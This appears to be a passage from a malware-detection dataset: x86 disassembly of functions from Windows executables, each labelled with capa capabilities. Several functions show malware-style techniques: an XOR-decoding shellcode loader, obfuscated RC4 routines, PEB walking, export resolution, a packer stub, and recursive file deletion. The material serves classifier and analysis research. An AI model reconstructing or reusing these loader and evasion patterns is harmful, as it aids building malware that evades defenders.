joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4830d0
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push 0xffffffffffffffff
push 0x4a3466
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14c
mov eax, dword [0xc52d60]
push ebx
push esi
mov ebx, ecx
mov dword [esp + 8], eax
mov dword [esp + 0x15c], 0
mov dword [esp + 0xc], eax
mov esi, dword [esp + 0x164]
lea ecx, [esp + 0xc]
push esi
mov byte [esp + 0x160], 1
call fcn.00495551
push str..
lea ecx, [esp + 0x10]
call fcn.004957a4
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x14]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
jne 0x483173
lea ecx, [esp + 0xc]
mov byte [esp + 0x15c], 0
call fcn.00495414
lea ecx, [esp + 8]
mov dword [esp + 0x15c], 0xffffffff
call fcn.00495414
xor eax, eax
jmp 0x4832b8
push ebp
mov ebp, dword [esp + 0x16c]
push edi
mov edi, dword [esp + 0x174]
lea edx, [esp + 0x48]
push 0xc52cf8
push edx
call fcn.004856b4
add esp, 8
test eax, eax
je 0x483269
lea eax, [esp + 0x48]
push 0xc52cf4
push eax
call fcn.004856b4
add esp, 8
test eax, eax
je 0x483269
test ebp, ebp
jne 0x4831d5
lea ecx, [esp + 0x48]
push str.desktop.ini
push ecx
call fcn.00485763
add esp, 8
test eax, eax
je 0x483269
push esi
lea ecx, [esp + 0x14]
call fcn.00495551
push 0x5c
lea ecx, [esp + 0x14]
call fcn.004957cb
lea edx, [esp + 0x48]
lea ecx, [esp + 0x10]
push edx
call fcn.004957a4
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test al, 1
je 0x483215
mov ecx, dword [esp + 0x10]
and al, 0xfe
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test byte [esp + 0x1c], 0x10
je 0x483237
mov edx, dword [esp + 0x10]
push edi
push ebp
push edx
mov ecx, ebx
call fcn.004830d0
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
jmp 0x483269
test edi, edi
je 0x48325e
lea ecx, [esp + 0x48]
push str.index.dat
push ecx
call fcn.00485763
add esp, 8
test eax, eax
jne 0x48325e
lea edx, [esp + 0x48]
mov ecx, ebx
push edx
push esi
call fcn.004832e0
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x1c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x483183
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [esp + 0x14]
mov byte [esp + 0x164], 0
call fcn.00495414
lea ecx, [esp + 0x10]
mov dword [esp + 0x164], 0xffffffff
call fcn.00495414
pop edi
mov eax, 1
pop ebp
mov ecx, dword [esp + 0x154]
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x158
ret 0xc
Function at 0x4832e0
Capabilities:
Get file size
Write file on windows

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4a347b
push eax
mov eax, 0x2718
mov dword fs:[0], esp
call fcn.00485ed0
mov eax, dword [0xc52d60]
push edi
mov dword [esp + 4], eax
mov ecx, 0x9c4
xor eax, eax
lea edi, [esp + 0xc]
mov dword [esp + 0x2724], 0
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x272c]
push ecx
lea ecx, [esp + 8]
call fcn.00495551
push 0x5c
lea ecx, [esp + 8]
call fcn.004957cb
mov edx, dword [esp + 0x2730]
lea ecx, [esp + 4]
push edx
call fcn.004957a4
mov eax, dword [esp + 4]
push 0
push 0x80
push 3
push 0
push 3
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x483386
lea ecx, [esp + 4]
mov dword [esp + 0x2724], eax
call fcn.00495414
xor eax, eax
jmp 0x483403
push ebx
push esi
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
push 0
mov esi, eax
push 0x40
push edi
sub esi, 0x40
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
test esi, esi
jbe 0x4833e1
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
cmp esi, 0x2710
push 0
jbe 0x4833d3
lea ecx, [esp + 0x14]
lea edx, [esp + 0x18]
push ecx
push 0x2710
push edx
push edi
call ebx
sub esi, 0x2710
jne 0x4833ad
jmp 0x4833e1
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push eax
push esi
push ecx
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0xc]
mov dword [esp + 0x272c], 0xffffffff
call fcn.00495414
pop esi
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x271c]
pop edi
mov dword fs:[0], ecx
add esp, 0x2724
ret 8

Function at 0x4977bb
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4977f3
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0049586f
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00495847
jmp 0x4977ff
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x498ea9
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x498eeb
call fcn.0049e962
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x498eeb
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x498ee2
xor eax, eax
jmp 0x498ef3
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00498ef9
pop edi
pop esi
pop ebx
ret 4
Function at 0x402d04
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x403278
call fcn.00402fc8
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x402d64
cmp eax, 0xffffffff
je 0x402d64
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x402d5d
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x402d5d
cmp edx, 0x10000000
jae 0x402d5d
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x402d5a
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x402dd0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x402e0e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x402e06
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x402e10
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x402df6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x402ee0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x402f11
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x402f11
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x402f11
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x408c64
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x6c], ecx
mov eax, dword [ebp - 0x6c]
cmp dword [eax + 0x7c], 0
jne 0x408c86
ret
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x78]
mov dword [ebp - 0x80], ecx
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x28], ecx
and dword [ebp - 0x20], 0
jmp 0x408ccc
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x2c]
add eax, 4
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [eax + 0x14]
jae 0x408d5c
mov eax, dword [ebp - 0x2c]
cmp dword [eax], 0
jne 0x408ce5
jmp 0x408cbc
and dword [ebp - 0x9c], 0
and dword [ebp - 0x1c], 0
jmp 0x408cf9
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [eax + 0x18]
jae 0x408d29
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
movzx eax, word [ecx + eax*2]
cmp eax, dword [ebp - 0x20]
jne 0x408d27
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0xc]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x9c], edx
jmp 0x408d29
jmp 0x408cf2
cmp dword [ebp - 0x9c], 0
je 0x408d57
mov eax, 0x406bd6
call fcn.0040d42d
mov dword [ebp - 0x74], eax
call fcn.0040d596
cmp dword [ebp - 0x10], 0
je 0x408d57
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax]
mov dword [ebp - 0x64], ecx
jmp 0x408d5c
jmp 0x408cbc
ret
Function at 0x406802
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x406811
pop dword [ebp - 0x14]
mov eax, 0x406811
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x18e1f0de
add dword [ebp - 0x24], 0x3570546d
mov dword [ebp - 0x20], 0x59c97e45
sub dword [ebp - 0x20], 0x27963200
mov dword [ebp - 0x1c], 0xb5e7c343
sub dword [ebp - 0x1c], 0x699b7f15
mov dword [ebp - 0x18], 0x42a95e43
sub dword [ebp - 0x18], 0x42a95e43
lea eax, [ebp - 0x24]
push eax
mov eax, 0x64ddf8d1
sub eax, 0x649d17d5
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x90aff28e
sub dword [ebp - 0x24], 0x1c3d8938
mov dword [ebp - 0x20], 0x955f0f8f
sub dword [ebp - 0x20], 0x53f2ae1a
mov dword [ebp - 0x1c], 0x8a445e6b
sub dword [ebp - 0x1c], 0x26d4f1ff
mov dword [ebp - 0x18], 0xd3a8a641
add dword [ebp - 0x18], 0x2c5759bf
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x7170a35
add eax, 0xf929d653
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x345c6
push 0
call eax
mov ecx, 0x3aa2
mov esi, eax
mov edi, 0x4a740f68
add edi, 0xb5cde098
add edi, dword [ebp - 0x14]
mov ebx, 0x7b3349ad
xor dword [ebp - 8], 0x47ae73f6
mov edx, dword [edi]
xor dword [ebp - 8], ebx
xor edx, ebx
add dword [ebp - 4], 0x68a8c580
mov dword [esi], edx
xor dword [ebp - 8], 0x8e79cae8
add esi, 4
add edi, 0x61f1094
sub edi, 0x61f1090
loop 0x406922
add eax, 0x8c67a43f
sub eax, 0x8c66c6e4
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x539b4950
add ecx, 0xaca4b6b0
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x406b16
Capabilities:
Query environment variable

Disassembly:
push ebp
lea ebp, [esp - 0x108]
sub esp, 0x108
push 0xffffffffffffffff
push 0x40d6f8
mov eax, dword fs:[0]
push eax
sub esp, 0xc
mov eax, dword [0x41a174]
xor eax, ebp
mov dword [ebp + 0x104], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 0x110]
lea eax, [ebp]
mov edi, dword [ebp + 0x114]
mov ebx, 0x104
push ebx
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp]
push ebx
push eax
push esi
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x406bb4
cmp eax, ebx
jae 0x406bb4
lea eax, [ebp]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004060ea
pop ecx
pop ecx
and dword [ebp - 4], 0
mov esi, dword [ebp - 0x18]
jmp 0x406ba7
push esi
lea ecx, [edi + 0x18]
call fcn.00403db8
add esi, 0x18
cmp esi, dword [ebp - 0x14]
jne 0x406b9b
lea ecx, [ebp - 0x18]
call fcn.0040422a
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x104]
xor ecx, ebp
call fcn.0040baa8
add ebp, 0x108
leave
ret
Function at 0x1016e1c0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x10181760], 0
mov byte [0x10181764], 0
mov edi, dword [0x10181758]
add edi, 0xffffe149
mov dword [0x10181754], edi
mov dword [0x1018175c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x10181758]
mov esi, eax
add esi, 0xffffe149
mov dword [0x10181754], esi
mov esi, dword [0x1018175c]
add esi, 1
mov dword [0x1018175c], esi
cmp esi, 0x100
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], eax
jl 0x1016e20d
mov eax, dword [ebp - 0x20]
xor ecx, ecx
add eax, 0xffffd525
mov dword [0x10181758], eax
mov dword [0x1018175c], 0
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov edx, 0x100
add eax, 0xffffe224
mov dword [0x10181768], 0
mov dword [ebp - 0x2c], eax
mov eax, ecx
xor esi, esi
mov dword [ebp - 0x30], edx
mov edx, esi
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x10181754], 0x2253
mov edi, dword [0x10181760]
mov ebx, dword [ebp - 0x18]
movzx esi, byte [ebx + ecx]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x10181768], esi
mov eax, esi
cdq
mov esi, dword [ebp - 0x30]
idiv esi
mov dword [0x10181760], edx
mov dword [0x10181754], 0x1af3
mov bl, byte [ebx + ecx]
mov byte [0x10181764], bl
mov esi, dword [ebp - 0x2c]
mov dword [0x10181758], esi
mov esi, dword [ebp - 0x18]
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
mov bl, byte [0x10181764]
mov ecx, dword [0x10181760]
mov byte [esi + ecx], bl
mov ecx, dword [0x10181758]
mov edx, ecx
add edx, 0xffffe149
mov dword [0x10181754], edx
mov esi, dword [0x1018175c]
add esi, 1
mov dword [0x1018175c], esi
cmp esi, 0x100
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x34], edx
jl 0x1016e26c
mov eax, dword [ebp - 0x34]
mov dword [0x10181754], eax
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1016e8d0
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x30
mov dword [ebp - 8], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
add ecx, 0x10
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], ecx
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], eax
jmp 0x1016e953
mov eax, 0x106d
xor ecx, ecx
mov dword [0x10181754], 0x11f2
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x1c]
cmp word [edx + esi*2 - 0x18], 0x6f
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
jne 0x1016ea44
mov eax, 0x106d
xor ecx, ecx
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x1c]
cmp word [edx + esi*2 - 0x16], 0x61
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
je 0x1016e9a8
jmp 0x1016ea44
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], edx
je 0x1016e980
mov eax, dword [ebp - 0x28]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
jl 0x1016e953
mov eax, dword [ebp - 0x2c]
mov ecx, 0x106d
xor edx, edx
mov esi, dword [ebp - 0x14]
cmp word [esi + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], edx
je 0x1016e908
jmp 0x1016ea44
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff6
mov dword [ebp - 0x30], eax
mov eax, 0x106d
xor ecx, ecx
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x30]
cmp word [edx + esi*2], 0x64
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
jne 0x1016ea44
mov eax, 0x106d
xor ecx, ecx
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x1c]
cmp word [edx + esi*2 - 0x12], 0x64
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
jne 0x1016ea44
mov eax, 0x106d
xor ecx, ecx
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x1c]
cmp word [edx + esi*2 - 0x10], 0x6c
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
jne 0x1016ea44
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
mov dx, word [eax + ecx*2 - 0xe]
mov word [ebp - 0x32], dx
mov eax, 0x106d
xor ecx, ecx
mov dx, word [ebp - 0x32]
cmp dx, 0x6c
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
jne 0x1016ea44
mov eax, 1
mov ecx, dword [0x10181758]
add ecx, 0xef6
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov dword [0x10181758], ecx
add esp, 0x30
pop esi
pop ebp
ret
Function at 0x1016ea60
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xb0
lea eax, [esp + 0x40]
lea ecx, [esp + 0x50]
mov edx, dword [0x10181754]
mov esi, edx
add esi, 0xffffff71
mov dword [0x10181754], esi
add edx, 0xfffff428
mov dword [0x10181758], edx
mov dword [esp], eax
mov dword [esp + 0x3c], ecx
call fcn.1016e360
mov ecx, dword [esp + 0x40]
mov dword [esp + 0x70], ecx
mov dword [0x10181758], 0x12c8
mov dword [esp + 0x60], 0x11d600
mov ecx, dword [0x10181740]
mov dword [esp + 0x74], ecx
mov ecx, dword [0x10181744]
mov dword [esp + 0x94], ecx
mov ecx, dword [0x10181748]
mov dword [esp + 0x84], ecx
mov ecx, dword [0x1018174c]
mov dword [esp + 0x38], eax
mov dword [esp + 0x34], ecx
mov eax, 0xa69
lea ecx, [0x1016ee70]
mov edx, dword [esp + 0x34]
mov dword [esp + 0x80], edx
mov dword [0x10181754], 0x1bd1
mov esi, dword [0x10181750]
mov dword [esp + 0x54], esi
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], ecx
jmp 0x1016eb45
mov eax, dword [esp + 0x28]
add eax, 0xfffff000
mov dword [esp + 0x24], eax
mov eax, 0x890
mov ecx, dword [esp + 0x24]
and ecx, 0xfffff000
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], ecx
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x30]
cmp word [eax], 0x5a4d
mov dword [esp + 0x28], eax
mov dword [esp + 0x20], ecx
jne 0x1016eb21
mov eax, dword [esp + 0x28]
mov ecx, dword [eax + 0x3c]
add eax, ecx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
cmp dword [eax], 0x4550
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x28]
mov esi, dword [esp + 0x20]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], esi
jne 0x1016eb21
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov dword [0x10181758], eax
mov dword [esp + 0x78], ecx
mov dword [0x10181754], 0x39d
mov eax, dword [ecx + edx + 0x50]
mov dword [esp + 0x58], eax
call fcn.1016e8d0
xor ecx, ecx
cmp eax, 0
mov dword [esp + 8], ecx
jne 0x1016ec06
lea eax, [esp + 0x50]
mov ecx, dword [esp + 0x48]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.1016f380
mov ecx, esp
lea edx, [esp + 0x50]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov ecx, dword [0x10181758]
add ecx, 0xffffd92f
mov dword [0x10181754], ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
Function at 0x1016ecb0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [0x1018175c], 0
mov dword [0x10181760], 0
mov dword [0x1018176c], 0
mov edi, dword [0x10181758]
mov ebx, edi
add ebx, 0xffffe149
mov dword [0x10181754], ebx
add edi, 0xffffd49d
mov dword [0x10181758], edi
cmp eax, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jne 0x1016ed28
mov dword [0x10181754], 0x584
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
mov ecx, eax
mov edx, eax
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], eax
jmp 0x1016ed39
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add ecx, 1
mov dword [ebp - 0x2c], eax
mov eax, ecx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x1018175c], edx
mov dword [0x10181754], 0x13cb
mov ecx, dword [ebp - 0x1c]
movzx edi, byte [ecx + edx]
mov ebx, dword [ebp - 0x30]
add edi, ebx
mov eax, edi
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x10181760], edx
mov dword [0x10181758], 0x7fe
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x10181764], cl
mov dword [0x10181754], 0xfae
mov edi, dword [ebp - 0x1c]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov edx, dword [0x10181758]
add edx, 0xffffe149
mov dword [0x10181754], edx
mov cl, byte [0x10181764]
mov edx, dword [0x10181760]
mov byte [edi + edx], cl
mov edx, dword [0x10181754]
add edx, 0xffffddc4
mov dword [0x10181754], edx
mov edx, dword [0x1018175c]
movzx edx, byte [edi + edx]
mov ebx, dword [0x10181760]
movzx ebx, byte [edi + ebx]
add ebx, edx
mov edx, dword [0x10181758]
mov ecx, edx
add ecx, 0xffffe149
and ebx, 0xff
mov dword [0x1018176c], ebx
mov dword [0x10181754], ecx
mov cl, byte [edi + ebx]
mov ebx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x2c]
xor cl, byte [ebx + esi]
add edx, 0xffffa56d
mov dword [0x10181754], edx
mov edx, dword [ebp - 0x18]
mov byte [edx + esi], cl
mov dword [0x10181758], 0x87a
add esi, 1
mov ecx, dword [ebp - 0x10]
cmp esi, ecx
mov dword [ebp - 0x38], esi
je 0x1016ee68
mov eax, dword [0x1018175c]
mov ecx, dword [0x10181760]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], edx
jmp 0x1016ed39
jmp 0x1016ed16
Function at 0x4099ec
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409abf
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409ad8
push ebx
push 0x409ae4
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409a6c
mov al, 0x6a
call fcn.00409648
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.004099c0
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409a75
call fcn.004099c0
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409ac6
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409b78
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409c2c
jmp 0x409c21
cmp dword [esi + 0x10], 0x1000
jne 0x409c0d
test byte [esi + 0x15], 1
jne 0x409c0d
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409bcc
cmp eax, 2
je 0x409bcc
cmp eax, 0x10
je 0x409bcc
cmp eax, 0x20
jne 0x409be1
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409be1
mov bl, 1
xor ebp, ebp
jmp 0x409bf2
mov eax, dword [esi]
add eax, ebp
call fcn.00409b70
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409be5
test bl, bl
je 0x409c0d
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409c2c
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409ba4
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
